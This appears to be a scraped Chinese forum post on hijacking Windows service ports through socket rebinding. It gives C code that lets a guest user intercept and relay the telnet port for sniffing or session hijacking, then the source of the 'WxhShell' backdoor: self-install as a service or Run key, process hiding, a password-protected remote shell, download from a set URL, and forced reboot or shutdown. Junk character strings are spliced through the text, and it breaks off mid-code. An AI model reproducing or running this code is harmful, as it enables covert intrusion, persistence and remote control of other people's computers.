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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h"[AOfTE$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L\6M^r >  
px A?  
  saddr.sin_family = AF_INET; P>y@kPi   
>2y':fO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sNbxI|B  
euK5pA>L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $P >  
A6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E+j/ Cu  
!4ocZmj\  
  这意味着什么?意味着可以进行如下的攻击: wm+};L&_  
-mbt4w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w1F cB$  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u4*BX&  
U45e2~1!O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $!-yr7  
k90YV(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iOf<$f  
$H2u.U<ip  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *l(7D(#  
3p$?,0ELH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *[Imn\hu  
`Y0%c Xi3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m;$ b'pT  
,5P0S0*{  
  #include [CTnXb  
  #include +WZX.D  
  #include k`cfG\;r  
  #include    ^L,K& Jd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =bAx,,D#  
  int main() cRC6 s8  
  { +X\FBvP&  
  WORD wVersionRequested; c^5~QGuQ  
  DWORD ret; vJLK,[  
  WSADATA wsaData; DcS+_>a\{l  
  BOOL val; {Ea b j  
  SOCKADDR_IN saddr; ]]HNd7Vh  
  SOCKADDR_IN scaddr; 5p,RI&nlN  
  int err; W Tcw4  
  SOCKET s; ;_XFo&@  
  SOCKET sc; h! ,v/7=  
  int caddsize; ;gD})@  
  HANDLE mt; %6t:(z  
  DWORD tid;   ./XYd"p  
  wVersionRequested = MAKEWORD( 2, 2 ); Qry@ s5  
  err = WSAStartup( wVersionRequested, &wsaData ); ;'gWu  
  if ( err != 0 ) { xW+6qtG`  
  printf("error!WSAStartup failed!\n"); 9V a}I-  
  return -1; mwO6g~@ `  
  } ^23~ZHu  
  saddr.sin_family = AF_INET; 1wii8B6  
   2zX]\s?3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mupT<_Y  
ynp8r f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YByLoM*  
  saddr.sin_port = htons(23); a6 ekG YW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }czrj%6  
  { l&[O  
  printf("error!socket failed!\n");  X hR4ru`  
  return -1; gZVc 5u<  
  } &L3M]  
  val = TRUE; "6A ` q\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {aZ0;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #j;^\rSv-  
  { IM*y|UHt  
  printf("error!setsockopt failed!\n"); eB2a-,  
  return -1; %q"%AauJR  
  } D2 #ZpFp"h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V(}:=eK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oE6tauQn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S*pGMuui  
Xa[.3=bV?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )Dm s  
  { @ 8(q$  
  ret=GetLastError(); A]*}HZ ,  
  printf("error!bind failed!\n"); 'z8pzMmT  
  return -1; Od,=mO*.Q  
  } [\]50=&  
  listen(s,2); ~"gA,e-)  
  while(1) rV.}PtcFY  
  { ` #0:gEo  
  caddsize = sizeof(scaddr); @b\$yB@z  
  //接受连接请求 1> ?M>vK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $yP*jO4i  
  if(sc!=INVALID_SOCKET) 5; C|  
  { VCYwzB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); , };& tR  
  if(mt==NULL) #-rH1h3*q  
  { F k7?xc  
  printf("Thread Creat Failed!\n"); " > ypIR<  
  break; .Cv6kgB@c  
  } 8H[<X_/ke  
  } XE RUo  
  CloseHandle(mt); TT%M' 5&  
  } /*~EO{o  
  closesocket(s); PJ')R:e,  
  WSACleanup(); ME$[=?7XX  
  return 0; Xc ++b|k  
  }   Lpkyoh v  
  DWORD WINAPI ClientThread(LPVOID lpParam) `b&%Hm  
  { wKh4|Ka  
  SOCKET ss = (SOCKET)lpParam; N>uRf0E>  
  SOCKET sc; alJ)^OSIe  
  unsigned char buf[4096]; 2F;y;l%  
  SOCKADDR_IN saddr; E#34Wh2z  
  long num; _ >?\DgjH  
  DWORD val; xh-o}8*n"  
  DWORD ret; z9f-.72"X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1}+3dB_s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (le9q5Qr.  
  saddr.sin_family = AF_INET; ;7*[Bcj.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =}^9 wP  
  saddr.sin_port = htons(23); 6{K,c@VFd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _`$qBw.Nx  
  { U)TUOwF  
  printf("error!socket failed!\n"); 299H$$WS,Z  
  return -1; g @Z))M+  
  } >dXGee>'M  
  val = 100; e)IzQ7Zex  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >IafUy  
  { _rMg}F"  
  ret = GetLastError(); AF{\6<m  
  return -1; yZ7&b&2nLn  
  } (y'hyJo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zC:ASt  
  { b)#hSjWO#  
  ret = GetLastError(); OG~gFZr)6  
  return -1; n)/z0n!\  
  } r+!YI k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \<h0Q,e  
  { -/B+T>[nTb  
  printf("error!socket connect failed!\n"); Z3e| UAif  
  closesocket(sc); /V8 #[9K  
  closesocket(ss); &, vcJ{.  
  return -1; ,oe <  
  } u]wZQl#-  
  while(1) T  wB}l  
  { nUr5Qn?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hR n<em  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CZe ]kXNv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )CYGQMK  
  num = recv(ss,buf,4096,0); ;1W6G=m  
  if(num>0) <V'@ks%  
  send(sc,buf,num,0); t?X877z  
  else if(num==0) qx(xvU9  
  break; g9pZ\$J&  
  num = recv(sc,buf,4096,0); h f)?1z4  
  if(num>0) mM~qBrwL  
  send(ss,buf,num,0); @n/\L<]t  
  else if(num==0) iozt&~o  
  break; X #dmo/L8  
  } :k]1Lm||  
  closesocket(ss); v~+(GqR=+  
  closesocket(sc); g'f@H-KCD  
  return 0 ; tIi&;tw]  
  } BR_1MG'{)$  
ldcqe$7,  
68|E9^`l  
========================================================== S\EyCi+  
f%JIp#B  
下边附上一个代码,,WXhSHELL PQt")[  
w(Ovr`o?9t  
========================================================== SGRp3,1\4%  
Jrf=@m\dk  
#include "stdafx.h" KkyVSoD\  
}Bh8=F3O Q  
#include <stdio.h> YaqR[F  
#include <string.h> `7Q<'oK  
#include <windows.h> g axsv[W>^  
#include <winsock2.h> +^ac'Y)A  
#include <winsvc.h> q_8+HEvo  
#include <urlmon.h> A  'be8  
;+_:,_  
#pragma comment (lib, "Ws2_32.lib") Q}JOU  
#pragma comment (lib, "urlmon.lib") ^e5=hH-%  
|i*37r6]=  
#define MAX_USER   100 // 最大客户端连接数 u#fM_>ML  
#define BUF_SOCK   200 // sock buffer /62!cp/F/D  
#define KEY_BUFF   255 // 输入 buffer G Vr1`l  
TqQB@-!  
#define REBOOT     0   // 重启 /HEw-M9z  
#define SHUTDOWN   1   // 关机 j;Gtu  
N% B>M7-=  
#define DEF_PORT   5000 // 监听端口 wu6;.xTLl  
8rGgF]F  
#define REG_LEN     16   // 注册表键长度 wm@@$  
#define SVC_LEN     80   // NT服务名长度 G>=*yqo  
octL"t8w  
// 从dll定义API s^TZXCyF o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wi<m{.%\E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =s{>Fsm1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *Q.>-J<S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >uB?rGcM  
CW K7wZM  
// wxhshell配置信息 ]A `n( "%  
struct WSCFG { iyE7V_O T  
  int ws_port;         // 监听端口 ;1=1:S8  
  char ws_passstr[REG_LEN]; // 口令 <=&`ZH   
  int ws_autoins;       // 安装标记, 1=yes 0=no e"cXun4nS=  
  char ws_regname[REG_LEN]; // 注册表键名 R^fPIv`q  
  char ws_svcname[REG_LEN]; // 服务名 uMv,zO5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bWS&Yk(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FxY}m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3`?7 <YJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T<>,lQs(a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E=Bf1/c\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oszj$C(jF  
\l0[rcEf  
}; =%O6:YM   
fbvL7* (  
// default Wxhshell configuration /s?`&1v|r  
struct WSCFG wscfg={DEF_PORT, A\DCW  
    "xuhuanlingzhe", DfD&)tsMQ  
    1, ^ +\dz  
    "Wxhshell", Oo~; L,  
    "Wxhshell", W*:.Gxv]  
            "WxhShell Service", 6_;icpN]  
    "Wrsky Windows CmdShell Service", MchA{p&Ol  
    "Please Input Your Password: ", {Mk6T1Bkq  
  1, I 34>X`[o  
  "http://www.wrsky.com/wxhshell.exe", a-tmq]]E  
  "Wxhshell.exe" @1j   
    }; QIEJ6`  
 /maJtX'  
// 消息定义模块 Rp7mh]kZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MN>b7O \.?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9=tIz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3=[mP, pLh  
char *msg_ws_ext="\n\rExit."; `}\ "Aw c  
char *msg_ws_end="\n\rQuit."; 8Fh)eha9f  
char *msg_ws_boot="\n\rReboot..."; U/M>?G~  
char *msg_ws_poff="\n\rShutdown..."; q?:dCFw$x5  
char *msg_ws_down="\n\rSave to "; TX/Xt7#R:  
|e&\<LwsP  
char *msg_ws_err="\n\rErr!"; 'Is kWgc  
char *msg_ws_ok="\n\rOK!"; y^ *~B(T{  
T!{w~'=F  
char ExeFile[MAX_PATH]; .{^5X)  
int nUser = 0; kZ:ZtE  
HANDLE handles[MAX_USER]; f~[7t:WD*  
int OsIsNt; t@;p  
wlvgg  
SERVICE_STATUS       serviceStatus; B[Scr5|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P+sW[:  
3?yg\  
// 函数声明 (C L%>5V  
int Install(void); i]4I [!  
int Uninstall(void); n@i HFBb  
int DownloadFile(char *sURL, SOCKET wsh); WwFm*4{[o  
int Boot(int flag); r6qj7}\  
void HideProc(void); >=>2m2z=  
int GetOsVer(void); v?$:@9pAk  
int Wxhshell(SOCKET wsl); :cECRm*  
void TalkWithClient(void *cs); JbbzV>  
int CmdShell(SOCKET sock); "sCRdx]_  
int StartFromService(void); qDIZJ h  
int StartWxhshell(LPSTR lpCmdLine); U)gH}0n&  
e *C(q~PQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _VN?#J)o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A)!*]o>U  
'<<t]kK[N  
// 数据结构和表定义  c?-H>u  
SERVICE_TABLE_ENTRY DispatchTable[] = t{kG<J/l  
{ Llo"MO*sr  
{wscfg.ws_svcname, NTServiceMain}, /6* 42[r  
{NULL, NULL} +'a^f5  
}; m0SlOgRsk  
d0ks G$  
// 自我安装 /~?*=}c^m  
int Install(void) GxxW&y  
{ %> eiAB_b  
  char svExeFile[MAX_PATH]; 2zb"MEOS5  
  HKEY key; j^JPZ{ej ?  
  strcpy(svExeFile,ExeFile); LRA8p<Rs  
L2z[   
// 如果是win9x系统,修改注册表设为自启动 SnfYT)Ph  
if(!OsIsNt) { ]ieeP4*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;^*W+,4WB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eMsd37J  
  RegCloseKey(key); u#.2w)!D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x;d6vBTUb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6{b >p+U  
  RegCloseKey(key); IJ"q~r$  
  return 0; D@.6>:;il  
    } VONDc1%ga  
  } eauF ~md,  
} 0h_|t-9j  
else { Y3b *a".X  
+0Y&`{#Z  
// 如果是NT以上系统,安装为系统服务 %u'u kcL7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6&x@.1('z  
if (schSCManager!=0) 0,")C5j  
{ ZE}}W _  
  SC_HANDLE schService = CreateService :I#V.  
  ( &QgR*,5eo  
  schSCManager, SJ,v?=S!  
  wscfg.ws_svcname, } Kgy  
  wscfg.ws_svcdisp, :o3N;*o>)0  
  SERVICE_ALL_ACCESS, T~e.PP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,J@  
  SERVICE_AUTO_START, S1_RjMbYM  
  SERVICE_ERROR_NORMAL, #6=  
  svExeFile, rILYI;'o  
  NULL, l f, 5w  
  NULL, ?caSb =f  
  NULL, [W&T(%(W-  
  NULL, 4r}51 N\  
  NULL 77Dn97l)&  
  ); 7@Qcc t4A  
  if (schService!=0) ZECfR>`x  
  { e^voW"?%  
  CloseServiceHandle(schService); hVY$;s  
  CloseServiceHandle(schSCManager); k_#)Tw*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9'B `]/L  
  strcat(svExeFile,wscfg.ws_svcname); WyiQoN'q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zh~'9 JH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yWSGi#)1  
  RegCloseKey(key); h376Be{P  
  return 0; <hyKu  
    } /{I$#:M  
  } eR>oq,  
  CloseServiceHandle(schSCManager); Bzf^ivT3L  
} I?CZQ+}Hq  
} i ct])  
H5|;{q:j  
return 1; 6=C<>c %+  
} tw@X> G1z  
 RRJ%:5&  
// 自我卸载 L/K(dkx  
int Uninstall(void) e0 ecD3  
{ 5 qA'  
  HKEY key; %|oym.-I6  
At;LO9T3z  
if(!OsIsNt) { h?U O&(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "{t$nVJ  
  RegDeleteValue(key,wscfg.ws_regname); P%n>Tg80M  
  RegCloseKey(key); %cn<ych G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SpBy3wd  
  RegDeleteValue(key,wscfg.ws_regname); DEgXQ[  
  RegCloseKey(key); 307I$*%W  
  return 0; KI.hy2?e  
  } vY3h3o  
} n@3>6_^rwT  
} [-w%/D%@  
else { y~V(aih}D  
.xkM.g4{~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i|kRK7[6B  
if (schSCManager!=0) c71y'hnT  
{ !4!~L k=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); | -H& o]  
  if (schService!=0) Id9TG/H7  
  { er\|i. Y  
  if(DeleteService(schService)!=0) { |.dRily+  
  CloseServiceHandle(schService); |w=zOC;v  
  CloseServiceHandle(schSCManager); ['D]>Ot68  
  return 0; U<XG{<2  
  } "dlV k~  
  CloseServiceHandle(schService); /-s6<e!  
  } |s_GlJV.  
  CloseServiceHandle(schSCManager); Z_NCD`i;  
} =_^X3z0  
} a+QpM*n7Lq  
!)$Zp\Sg  
return 1; XWw804ir  
} Zd+bx*rD  
(@YG~ 0  
// 从指定url下载文件 :(%5:1W  
int DownloadFile(char *sURL, SOCKET wsh) &^nGtW%a 9  
{ nk:)j:fr  
  HRESULT hr; hbn([+xY  
char seps[]= "/"; \M-OC5fQv  
char *token; O/LXdz0B  
char *file; EQ_aa@M7  
char myURL[MAX_PATH]; h+,@G,|D  
char myFILE[MAX_PATH]; gqR(.Pu  
: Dp0?&_  
strcpy(myURL,sURL); F'Z,]b'st3  
  token=strtok(myURL,seps); \2z>?i)  
  while(token!=NULL) 2AdDIVYC  
  { }m8q}~>tL  
    file=token; uAk.@nfiEv  
  token=strtok(NULL,seps); ?7A>+EY  
  } $cg cX  
Hr C+Yjp  
GetCurrentDirectory(MAX_PATH,myFILE); t JmTBsn  
strcat(myFILE, "\\"); 2 E= L8<  
strcat(myFILE, file); ;VK.2^jW!  
  send(wsh,myFILE,strlen(myFILE),0); ~J]qP#C  
send(wsh,"...",3,0); rl.}%Ny  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7 8,n%=nG  
  if(hr==S_OK) X3& Jb2c2  
return 0; 1~gCtBRM  
else PY'2h4IL  
return 1; 2<6UwF  
p7 ~!z.)o  
} !x)R=Z/C  
#9s,# }  
// 系统电源模块 (k P9hcV  
int Boot(int flag) xD7]C|8o  
{ /{2,zW  
  HANDLE hToken; kxCSs7J/  
  TOKEN_PRIVILEGES tkp; a9Vi];  
Y0> @vTUX  
  if(OsIsNt) { n"8Yv~v*2j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EX"yxZ~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K NOIZj   
    tkp.PrivilegeCount = 1; n{jGOfc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "  1tH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u&e~1?R  
if(flag==REBOOT) { H/Jbk*Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?A0)L27UE&  
  return 0; sos5Y}  
} z9"U!A4  
else { .Y|!:t|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $Kd>:f=A  
  return 0; 7$#u  
} kf9X$d6   
  } xx $cnG  
  else { +ai< q>+  
if(flag==REBOOT) { 8,|kao:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b MBLXk  
  return 0; d'ifLQ\  
} 1H9!5=Ff  
else { z!\*Y =e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r|Z{-*`  
  return 0; 3XKf!P  
} k{0o9,  
} ipz5H*  
!~Z"9(v'C  
return 1; ,//S`j$S  
} 8EY:t zw  
(% 9$!v{3  
// win9x进程隐藏模块 0{mex4  
void HideProc(void) k=^xVQuI  
{ ?cZlN !  
&Qm@9Is  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V6Dbd" i9  
  if ( hKernel != NULL ) tp|d*7^i  
  { $ Q0n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 31)&vf[[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P2Y^d#jO  
    FreeLibrary(hKernel); !9x}  
  } R-Sym8c  
TZ`SZDc7_  
return; 6:2vP NF  
} rlD8D|ZG  
V8(-  
// 获取操作系统版本 pot~<d`:K"  
int GetOsVer(void) ce(#2o&`  
{ Ca\6vR  
  OSVERSIONINFO winfo; ,?3G;-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z{>Rc"%\  
  GetVersionEx(&winfo); GthYzd:'hJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8>V5d Ebx'  
  return 1; $!DpjN  
  else _B0L.eF  
  return 0; 45oR=At n  
} ^}r1;W?n  
T0 {Lq:  
// 客户端句柄模块 r*Xuj=  
int Wxhshell(SOCKET wsl) 28nFRr  
{ F[0]/  
  SOCKET wsh; ~ K=b\xc^  
  struct sockaddr_in client; Mp]rUPK  
  DWORD myID; pJ{Y lS{  
<vP=zk  
  while(nUser<MAX_USER) ?# fQ~ s  
{ .^g p?  
  int nSize=sizeof(client); 'PHl$f*k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +h$ 9\  
  if(wsh==INVALID_SOCKET) return 1; cnLro  
4I7>f]=)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #/]nxW.S  
if(handles[nUser]==0) ;Xw~D_uv  
  closesocket(wsh); d'2A,B~_*  
else ~5g~;f[4  
  nUser++; saAF+H/=  
  } YS ][n_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qWw=8Bq  
o(HbGHIP  
  return 0; j<x_&1  
} W%J\qA  
+v\oOBB)  
// 关闭 socket NO3/rJ6-  
void CloseIt(SOCKET wsh) j#6.Gq  
{ qb4z T  
closesocket(wsh); e;jdqF~v!  
nUser--; 'VbiVLWD  
ExitThread(0); ME dWLFf  
} UI#h&j5pW  
ww/Uzv  
// 客户端请求句柄 =#\:}@J5I  
void TalkWithClient(void *cs) u4j5w  
{ Q20 %"&Xp]  
he4(hX^  
  SOCKET wsh=(SOCKET)cs; CWlw0 X  
  char pwd[SVC_LEN]; M`>E|" <  
  char cmd[KEY_BUFF]; 1"g<0 W  
char chr[1]; g5yJfRLxp  
int i,j; ]?*wbxU0  
r3Ykz%6  
  while (nUser < MAX_USER) { $C\BcKlmv  
:%.D78&  
if(wscfg.ws_passstr) { HV.t6@\};  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O84i;S+-p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oQ#8nu{k  
  //ZeroMemory(pwd,KEY_BUFF); m2o0y++TjW  
      i=0; ]tD]Wx%  
  while(i<SVC_LEN) { v1[29t<I!  
=fbWz  
  // 设置超时 l\mPHA23  
  fd_set FdRead; OY d !v`<  
  struct timeval TimeOut;  `]X>V,  
  FD_ZERO(&FdRead); +0~YP*I`/  
  FD_SET(wsh,&FdRead); d5.4l&\u  
  TimeOut.tv_sec=8; pFXEu= $3  
  TimeOut.tv_usec=0; PdCEUh\>y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9my^ Y9B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yw!{MO  
]3gSQ7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qd-A.{[h  
  pwd=chr[0]; 99S ^f:t  
  if(chr[0]==0xd || chr[0]==0xa) { dscgj5b1~  
  pwd=0; P%6~&woF  
  break; <m m[S  
  } i$@:@&(~Y  
  i++; T |p"0b A  
    } yZRzIb_  
N$DkX)Z  
  // 如果是非法用户,关闭 socket *Uh!>Iv;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RpK@?[4s  
} sRW<me;  
K8~d^G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +:f"Y0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hc1N ~$3!G  
`gJ(0#ac  
while(1) { g :OI  
?`#Khff?  
  ZeroMemory(cmd,KEY_BUFF); y*? Jui Q  
nEfK53i_  
      // 自动支持客户端 telnet标准   <[v[ci  
  j=0; q<J~~'  
  while(j<KEY_BUFF) { Nl/dX-I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JVJMgim)0  
  cmd[j]=chr[0]; VQs5"K"  
  if(chr[0]==0xa || chr[0]==0xd) { GeqPRah  
  cmd[j]=0; :Al!1BJQ  
  break; 5bIw?%dk(  
  } SKtrtm  
  j++; y9;Yiv r)  
    } =vPj%oLp'a  
lk!@?  
  // 下载文件 =-T]3!   
  if(strstr(cmd,"http://")) { fox6)Uot  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yX5\gO6G  
  if(DownloadFile(cmd,wsh)) FlQGg VN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @c#(.=  
  else 7P T{lT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *I+Q~4  
  } ==B6qX8T  
  else { ,I9bNO,%JK  
BWNi [^]  
    switch(cmd[0]) { W/ \g~=vo  
  No$3"4wk  
  // 帮助  bLL2  
  case '?': { \^LFkp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QWU[@2@%r  
    break; $:6!H:ty  
  } D=$)n_F  
  // 安装 #z(]xI)"  
  case 'i': { 6LZCgdS{  
    if(Install()) +mPx8P&%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -/4P3SG/  
    else Kq!3wb;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }b}m3i1  
    break; jCY %|  
    } vX>)je5#  
  // 卸载 {I ((p_  
  case 'r': { _GPe<H  
    if(Uninstall()) <%^&2UMg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *i,%,O96Nz  
    else xLE)/}y_7H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vI?, 47Hj+  
    break; 7^Uv7< pw  
    } SJLis"8  
  // 显示 wxhshell 所在路径 > !JS:5|  
  case 'p': { TvM~y\s  
    char svExeFile[MAX_PATH]; 2eogY#  
    strcpy(svExeFile,"\n\r"); [Pp'Ye~K@c  
      strcat(svExeFile,ExeFile); k+ /6$pI  
        send(wsh,svExeFile,strlen(svExeFile),0); 46x'I(  
    break; xo)P?-  
    } [UR-I0 s!/  
  // 重启 @iiT<  
  case 'b': { hoP]9&<T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^ 9sjj  
    if(Boot(REBOOT)) W)/#0*7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5G#n"}T  
    else { ("@!>|H  
    closesocket(wsh); } \f0 A-  
    ExitThread(0); Mt$ *a  
    } #Z#-Ht  
    break; x^ni1=kU  
    } b>W %t  
  // 关机 s"|Pdc4  
  case 'd': { Iv *<L a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \['Cj*ek  
    if(Boot(SHUTDOWN)) / FII07V  
